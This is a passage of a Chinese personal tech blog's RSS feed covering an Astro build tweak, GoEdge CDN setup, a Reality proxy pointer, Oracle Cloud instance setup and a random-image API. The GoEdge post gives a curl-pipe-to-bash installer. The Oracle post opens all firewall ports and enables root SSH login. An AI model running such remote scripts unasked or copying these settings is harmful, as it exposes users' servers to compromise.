&lt;p&gt;✅ 作用：强制跳过所有图片优化步骤。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;总结&lt;/h3&gt;
&lt;p&gt;你的这个 patch 做了两件事：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;绕过文件名 hash 和格式转换&lt;/strong&gt; → 保证生成的图片路径就是原始路径。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;完全禁用构建时图片优化&lt;/strong&gt; → Astro build 时不再生成任何衍生格式或多尺寸图片。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;等价于 &lt;strong&gt;彻底关闭 Astro 的图片优化功能&lt;/strong&gt;，构建出来的就是你原始的图片。&lt;/p&gt;
&lt;h1&gt;最终效果&lt;/h1&gt;
&lt;p&gt;任何情况下使用 &lt;code&gt;astro build&lt;/code&gt; 都会跳过图片优化，Cloudflare Worker的构建时间从 3分钟下降到2分钟&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-10-06-46-49-image.94sJubEg.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-10-06-47-01-image.eXxrGsNp.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;构建后的页面不再为全局webp，透传原始文件名、扩展名。但仍然保留了 &lt;code&gt;/_astro&lt;/code&gt; 路径，依旧支持相对路径粘贴图片&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/d836b41fd85611972c2086a7064705bdb1b4ff7c.CiqIcMb2.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ff1314b1ab7d60bd9a49d6499db22cde23fb9f60.wSb3J2Fg.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>GoEdge自建CDN系统踩坑记录</title><link>https://2x.nz/posts/goedge/</link><guid isPermaLink="true">https://2x.nz/posts/goedge/</guid><description>卧槽，一不小心搞到了3台免费VPS，可是不用容易被回收，这可咋办啊！欸？不如让他们都干点活吧！</description><pubDate>Mon, 08 Sep 2025 22:28:06 GMT</pubDate><content:encoded>&lt;h1&gt;安装GoEdge&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://goedge.cloud/docs/Admin/install-script.md&quot;&gt;使用脚本快速安装GoEdge管理系统 - 文档 - GoEdge CDN | 自建CDN&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;一行脚本安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s https://goedge.cloud/install.sh | bash
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;卸载GoEdge&lt;/h1&gt;
&lt;p&gt;查看监听端口为 &lt;strong&gt;7788&lt;/strong&gt; 的程序PID&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@AcoFork-NAS:~/oci# apt install lsof &amp;amp;&amp;amp; lsof -i :7788
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
lsof is already the newest version (4.95.0-1).
0 upgraded, 0 newly installed, 0 to remove and 254 not upgraded.
COMMAND       PID USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
edge-admi 1733510 root    7u  IPv6 8663743      0t0  TCP *:7788 (LISTEN)
edge-admi 1733510 root    9u  IPv6 8746827      0t0  TCP 10.147.17.1:7788-&amp;gt;10.147.17.147:39580 (ESTABLISHED)
edge-admi 1733510 root   10u  IPv6 8828980      0t0  TCP 10.147.17.1:7788-&amp;gt;10.147.17.147:45730 (ESTABLISHED)
root@AcoFork-NAS:~/oci#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用PID找程序路径&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@AcoFork-NAS:~/oci# readlink -f /proc/1733510/exe
/usr/local/goedge/edge-admin/bin/edge-admin
root@AcoFork-NAS:~/oci#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样你就成功找到了 &lt;strong&gt;EdgeAdmin安装目录&lt;/strong&gt; ： &lt;code&gt;/usr/local/goedge/edge-admin/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;接着前往 &lt;a href=&quot;https://goedge.cloud/docs/Admin/Uninstall.md&quot;&gt;卸载管理平台 - 文档 - GoEdge CDN | 自建CDN&lt;/a&gt; 按照教程一步步卸载即可&lt;/p&gt;
&lt;h1&gt;API节点的配置&lt;/h1&gt;
&lt;p&gt;安装阶段会让你配置API节点，会让你配置端口和公网&lt;/p&gt;
&lt;p&gt;你需要保证端口未占用，默认端口 &lt;strong&gt;8001&lt;/strong&gt; （已知飞牛OS会占用）。如果占用了就换一个&lt;/p&gt;
&lt;p&gt;你需要保证 &lt;strong&gt;公网&lt;/strong&gt; 可以被你之后添加的节点 &lt;strong&gt;主动访问&lt;/strong&gt; 到（我的做法是使用IPv6公网，并保证之后添加的节点都有IPv6地址）&lt;/p&gt;
&lt;h1&gt;添加DNS服务商&lt;/h1&gt;
&lt;p&gt;首先前往&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-07-00-37-image.vR3ekEbK.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;添加你的DNS账号。&lt;strong&gt;hw&lt;/strong&gt; 用来做CDN域名的自治解析，&lt;strong&gt;cf&lt;/strong&gt; 用来后续签发SSL&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-59-59-image.Dd7ulGB8.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点进去，确保能获取到域名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-44-54-image.Dx4hcmhY.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;设置CDN域名&lt;/h1&gt;
&lt;p&gt;前往&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-45-52-image.DiNDcVWY.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;设置好DNS子域名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-46-12-image.BASbDHRc.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;添加节点&lt;/h1&gt;
&lt;p&gt;前往&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-47-14-image.BjhZ1chD.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-47-30-image.OQWLGOnO.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后填写节点IP+SSH认证方式（密码/密钥），之后goedge会主动通过SSH连接节点安装服务&lt;/p&gt;
&lt;h1&gt;配置节点的DNS IP&lt;/h1&gt;
&lt;p&gt;前往&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-49-35-image.D9cxZATx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;会让你填写每个节点的DNS IP，填写节点的 &lt;strong&gt;公网IP&lt;/strong&gt; 即可&lt;/p&gt;
&lt;h1&gt;签发SSL&lt;/h1&gt;
&lt;p&gt;前往&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-50-43-image.k0Rv1s5X.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-50-50-image.BliANseQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-50-57-image.C1NFuTJr.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-51-10-image.CAO4LdJ3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;随便写个邮箱&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-51-23-image.YXt2Aw-A.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;写域名（支持泛域名）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-51-52-image.CNkyUtOe.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;稍等片刻就签发成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-52-20-image.BNYq6mF_.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;禁止未绑定域名访问/禁止IP直接访问&lt;/h1&gt;
&lt;p&gt;字面意思，如图设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-53-52-image.Cz-BbJk_.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;创建网站&lt;/h1&gt;
&lt;p&gt;前往&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-54-16-image.em1KKLH-.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来你们自己研究吧 我要睡了&lt;/p&gt;
</content:encoded></item><item><title>Reality协议的代理服务端搭建教程</title><link>https://2x.nz/posts/reality/</link><guid isPermaLink="true">https://2x.nz/posts/reality/</guid><description>Reality协议是目前最抗检测的一种代理协议</description><pubDate>Mon, 08 Sep 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;源码： &lt;a href=&quot;https://github.com/afoim/one-times-reality&quot;&gt;afoim/one-times-reality: 一行命令帮你装好reality&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;自己看README部署&lt;/p&gt;
</content:encoded></item><item><title>Oracle（甲骨文云）踩坑记录</title><link>https://2x.nz/posts/oci/</link><guid isPermaLink="true">https://2x.nz/posts/oci/</guid><description>在钞能力的帮助下也是成功薅到了一个甲骨文账号，上手把玩发现坑点挺多的，遂记录</description><pubDate>Sun, 07 Sep 2025 16:01:25 GMT</pubDate><content:encoded>&lt;h1&gt;区域选择&lt;/h1&gt;
&lt;p&gt;注册的时候会让你选择一个账户主区域，选择后 &lt;strong&gt;不可更改&lt;/strong&gt; ，我选择的是 &lt;strong&gt;Japan East (Tokyo)&lt;/strong&gt; 。由于甲骨文的arm免费机是需要抢的，你选择的区域越热门，能抢到arm机子的概率就越低&lt;/p&gt;
&lt;h1&gt;安全性&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;https://cloud.oracle.com/identity/domains/my-profile/security&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;建议启用 &lt;strong&gt;两步验证&lt;/strong&gt; 使用你的移动设备下载一个甲骨文App 然后扫码即可（实际上就是一个联网的TOTP）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-07-32-image.BgKT6R2Y.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果需要更改密码，它在这里&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-08-48-image.ZGblIA3T.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;没有Debian系统？&lt;/h1&gt;
&lt;p&gt;如果你前往 https://cloud.oracle.com/compute/instances/create 尝试创建实例。会发现没有 &lt;strong&gt;Debian&lt;/strong&gt; 映像 。我们可以通过最下面 &lt;strong&gt;我的映像&lt;/strong&gt; 来上传自己的自定义映像，详细步骤往下看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-12-08-image.BWLd5P7k.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;写在前面，如果你需要往甲骨文上传自定义映像，你需要先将自定义映像上传到你 &lt;strong&gt;甲骨文账户下的对象存储&lt;/strong&gt; ，随便找一个对象存储上传是不行的！！！&lt;/p&gt;
&lt;p&gt;首先下载适用于云的Debian映像，进入 &lt;a href=&quot;https://www.debian.org/distrib&quot;&gt;下载 Debian&lt;/a&gt; ，找到 &lt;strong&gt;使用 Debian 云镜像&lt;/strong&gt; 分别下载&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;64 位 AMD/Intel (&lt;a href=&quot;https://cloud.debian.org/images/cloud/trixie/latest/debian-13-generic-amd64.qcow2&quot;&gt;qcow2&lt;/a&gt;, &lt;a href=&quot;https://cloud.debian.org/images/cloud/trixie/latest/debian-13-generic-amd64.raw&quot;&gt;raw&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;64 位 ARM (&lt;a href=&quot;https://cloud.debian.org/images/cloud/trixie/latest/debian-13-generic-arm64.qcow2&quot;&gt;qcow2&lt;/a&gt;, &lt;a href=&quot;https://cloud.debian.org/images/cloud/trixie/latest/debian-13-generic-arm64.raw&quot;&gt;raw&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-17-19-image.nlGUgJ50.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;你会得到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-17-50-image.CPhDayek.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;前往 https://cloud.oracle.com/object-storage/buckets 创建一个新存储桶，点击编辑可见性，改为 &lt;strong&gt;公共&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-18-34-image.BPRGc9R-.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-19-23-image.C00yIuxA.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后上载刚刚下载的映像&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-19-51-image.B9oGznBy.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;前往 https://cloud.oracle.com/compute/images 点击 &lt;strong&gt;导入映像&lt;/strong&gt; 按需填写&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-21-06-image.ClvG9cxo.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;映像类型和启动模式如图填写（性能最大化）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-21-30-image.Di7PAVzy.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;验收无误后，点击右下角的 &lt;strong&gt;导入映像&lt;/strong&gt; ，大约需要 &lt;strong&gt;20min&lt;/strong&gt; ，状态将变为 &lt;strong&gt;可用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-22-25-image.7eL7ZYZJ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击其中一个映像，进入详情页面，针对于 &lt;strong&gt;arm映像&lt;/strong&gt; 我们需要手动调节 &lt;strong&gt;兼容的配置&lt;/strong&gt;。右上角点击 &lt;strong&gt;操作 - 编辑详细信息&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-24-48-image.D0vVYtKf.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;全部打勾，保存更改&lt;/p&gt;
&lt;p&gt;&lt;em&gt;仍然需要注意，创建实例的时候请看准是x86还是arm实例，x86实例无法使用arm映像，反之亦然&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-25-10-image.CdVM7m0M.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后点击右上角&lt;strong&gt;创建实例&lt;/strong&gt;，即可使用自定义映像创建实例&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-23-21-image.BRqJG2CX.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;创建VCN（网络）&lt;/h1&gt;
&lt;p&gt;前往 https://cloud.oracle.com/networking/vcns 点击 &lt;strong&gt;创建VCN&lt;/strong&gt; 改个名称然后一路下一步即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-27-25-image.DzInXV4R.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功创建一个如图的网络&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-27-42-image.C-9m6sLJ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;为VCN附加IPv6前缀&lt;/h1&gt;
&lt;p&gt;前往 https://cloud.oracle.com/networking/vcns&lt;/p&gt;
&lt;p&gt;进入我们刚刚创建的VCN
&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-18-57-image.DYH_SKYe.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;导航栏选择 &lt;strong&gt;子网&lt;/strong&gt; - &lt;strong&gt;公共子网&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-19-57-image.DHrwii8W.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在新页面的导航栏点击 &lt;strong&gt;IP管理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-20-29-image.Bm1YHaSk.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;往下滚动，添加 &lt;strong&gt;IPv6前缀&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-20-50-image.BaG0G0Ed.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;创建实例&lt;/h1&gt;
&lt;p&gt;前往 https://cloud.oracle.com/compute/instances 点击 &lt;strong&gt;创建实例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在这里可以更改映像为自定义映像，即我们刚刚上传的Debian映像&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-28-44-image.BNfXlC4X.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在这里可以更改 &lt;strong&gt;架构和配置&lt;/strong&gt; 。永久免费套餐为&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;VM.Standard.E2.1.Micro：&lt;strong&gt;两个&lt;/strong&gt; 1c1g的x86 实例，&lt;strong&gt;不可合并为2c2g使用&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;VM.Standard.A1.Flex：共 4c24g的arm64 实例，&lt;strong&gt;可以随意拆分&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;重要事项&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;闲置计算实例的回收&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Oracle 可能会回收闲置的“永久免费”计算实例。如果在 &lt;strong&gt;7 天周期内&lt;/strong&gt; 同时满足以下条件，则虚拟机和裸金属计算实例会被视为闲置：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CPU 使用率&lt;/strong&gt;（95 百分位数）低于 20%&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;网络使用率&lt;/strong&gt;低于 20%&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;内存使用率&lt;/strong&gt;低于 20%（仅适用于 A1 规格）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-31-25-image.DsQoblKF.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在这里可以选择是否附加 &lt;strong&gt;IPv4&lt;/strong&gt; 和 &lt;strong&gt;IPv6&lt;/strong&gt; 地址，其中， &lt;strong&gt;IPv6&lt;/strong&gt; 地址的附加功能取决于是否在VCN附加了 &lt;strong&gt;IPv6前缀&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-09-06-23-50-image.BECtv3v8.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在这里可以更改IO配置，直接拉满即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-03-28-29-image.BN49W_MY.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在这里可以更改SSH相关配置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-31-09-image.CrsRgyo3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一路下一步，验收无误后点击 &lt;strong&gt;创建&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;更改防火墙&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;我直接改为全允许，我更喜欢在Linux服务器上配置 ufw 来实现防火墙&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;前往 https://cloud.oracle.com/networking/vcns ，进入你刚刚创建的VCN，导航栏点击 &lt;strong&gt;安全&lt;/strong&gt; 找到这个&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-37-58-image.UL2bAqTI.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;导航栏继续找到 &lt;strong&gt;安全规则&lt;/strong&gt; 我直接全放行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-38-25-image.BE8V0_d6.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;使用SSH连接实例&lt;/h1&gt;
&lt;p&gt;前往 https://cloud.oracle.com/compute/instances 可以看到 &lt;strong&gt;公共IP&lt;/strong&gt; ，携带你的 &lt;strong&gt;SSH私钥&lt;/strong&gt; 通过 &lt;strong&gt;22 端口&lt;/strong&gt; 连接服务器即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-39-59-image.Dnz7pT9B.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;改root登录&lt;/h1&gt;
&lt;p&gt;如果你使用root直接登录，会提示&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-41-53-image.C6elPDNA.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;意为： &lt;strong&gt;请使用名为 &lt;code&gt;debian&lt;/code&gt; 的用户登录而不是 &lt;code&gt;root&lt;/code&gt; 用户&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;那我们就听他的，想把登录名改为 &lt;strong&gt;debian&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;再次尝试，成功登录了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-43-13-image.Dr_IDSkH.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首先提权为 &lt;strong&gt;root&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo -i
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着编辑root用户的ssh公钥文件，以允许直接使用root登录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nano /root/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Ctrl+K&lt;/strong&gt; 删除第一行的警告，并且重新写入你的SSH公钥&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ctrl+X&lt;/strong&gt; 保存并退出，然后重启 &lt;strong&gt;sshd&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl restart sshd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重新使用 &lt;strong&gt;root&lt;/strong&gt; 登录，成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-00-46-59-image.DxRM8EBS.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;自动脚本抢arm机&lt;/h1&gt;
&lt;p&gt;如果你在创建实例的时候选择arm，并且最后创建的时候提示&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;可用性域 VM.Standard.A1.Flex 中配置 AD-1 的容量不足。请在其他可用性域中创建实例，或稍后重试。如果指定了容错域，请尝试在不指定容错域的情况下创建实例。如果这样不起作用，请稍后重试。&lt;a href=&quot;https://www.oracle.com/cloud/free/faq.html&quot;&gt;了解有关主机容量的更多信息。&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;字面意思，我们可以依靠一个自动脚本来无限重试&lt;/p&gt;
&lt;p&gt;前往 https://cloud.oracle.com/identity/domains/my-profile/auth-tokens 点击 &lt;strong&gt;添加API密钥&lt;/strong&gt; 并 &lt;strong&gt;下载私有密钥（只能下一次）&lt;/strong&gt; ，然后会弹出 &lt;strong&gt;配置文件预览&lt;/strong&gt; ，复制它，后面要用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-01-00-00-image.DszASBMD.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;克隆仓库 &lt;a href=&quot;https://github.com/chacuavip10/oci_auto&quot;&gt;chacuavip10/oci_auto&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;编辑 &lt;code&gt;config&lt;/code&gt; 内的内容，将内容清空，粘贴上一步的 &lt;strong&gt;配置文件预览&lt;/strong&gt; 的内容。但是确保最后一行为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;key_file=oci_private_key.pem
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前往 https://cloud.oracle.com/compute/instances/create 再次尝试创建一个arm机子，并且F12抓包，查看该包的详情&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-01-03-04-image.CS1oxGLq.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对号入座填写 &lt;code&gt;oci_auto.py&lt;/code&gt; 内的内容&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-01-08-08-image.D1eAYyCQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;安装依赖&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install python3
apt install pip
pip install oci requests
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 oci_auto.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即可自动抢机子，可能几个月后，你的账户下就会多一台arm了（？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-08-01-11-54-image.DoduHpom.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>公开架构，我的二次元随机图API是怎么做的</title><link>https://2x.nz/posts/acg-randompic-api/</link><guid isPermaLink="true">https://2x.nz/posts/acg-randompic-api/</guid><description>发现很多小伙伴也想搭建一个自己的随机图API，这里我就公开一下我的架构，打磨2年了，供大家参考~</description><pubDate>Fri, 05 Sep 2025 18:22:00 GMT</pubDate><content:encoded>&lt;h1&gt;API端点&lt;/h1&gt;
&lt;p&gt;&lt;s&gt;门户： https://pic.072103.xyz&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;门户里面的API端点： https://hpic.072103.xyz https://vpic.072103.xyz （CF Worker）&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;博客用的API端点： https://eopfapi.acofork.com/pic?img=ua （EdgeOne Pages Functions）&lt;/p&gt;
&lt;h1&gt;新版实现&lt;/h1&gt;
&lt;p&gt;图源存放EdgeOne Page，EdgeOne Pages Functions作为入口，当收到请求后首先区分 横屏、竖屏、自适应，即 &lt;code&gt;?img=h&lt;/code&gt; &lt;code&gt;?img=v&lt;/code&gt; &lt;code&gt;?img=ua&lt;/code&gt; ，随后返回其内部存储的相应图片，关于更多详情，请参考源码： &lt;a href=&quot;https://github.com/afoim/EdgeOne_Function_PicAPI/blob/main/functions/pic.js&quot;&gt;EdgeOne_Function_PicAPI/functions/pic.js at main · afoim/EdgeOne_Function_PicAPI&lt;/a&gt;&lt;/p&gt;
